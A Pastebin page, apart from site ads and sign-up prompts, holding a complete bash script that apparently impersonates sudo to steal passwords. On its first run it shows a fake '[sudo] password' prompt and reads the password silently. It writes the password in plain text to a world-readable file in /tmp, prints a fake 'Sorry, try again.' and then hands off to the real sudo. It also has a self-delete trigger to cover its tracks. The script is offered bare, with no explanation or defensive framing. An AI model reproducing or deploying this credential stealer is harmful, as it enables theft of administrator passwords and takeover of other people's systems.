Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env bash
- user=$(whoami)
- outPath=/tmp/unicorns.txt
- cleanUp=/tmp/dragons.txt
- pwPrompt="[sudo] password for $user:\x20"
- errStr="Sorry, try again."
- myPath="$( cd "$(dirname "$0")" ; pwd -P )/$0"
- if [ -f $outPath ]
- then
- /usr/bin/sudo $@
- else
- echo -ne $pwPrompt
- read -s PASSWORD
- echo
- echo $PASSWORD > $outPath
- chmod ugo+rw $outPath
- echo $errStr
- /usr/bin/sudo $@
- fi
- if [ -f $cleanUp ]
- then
- rm $myPath $outPath $cleanUp
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement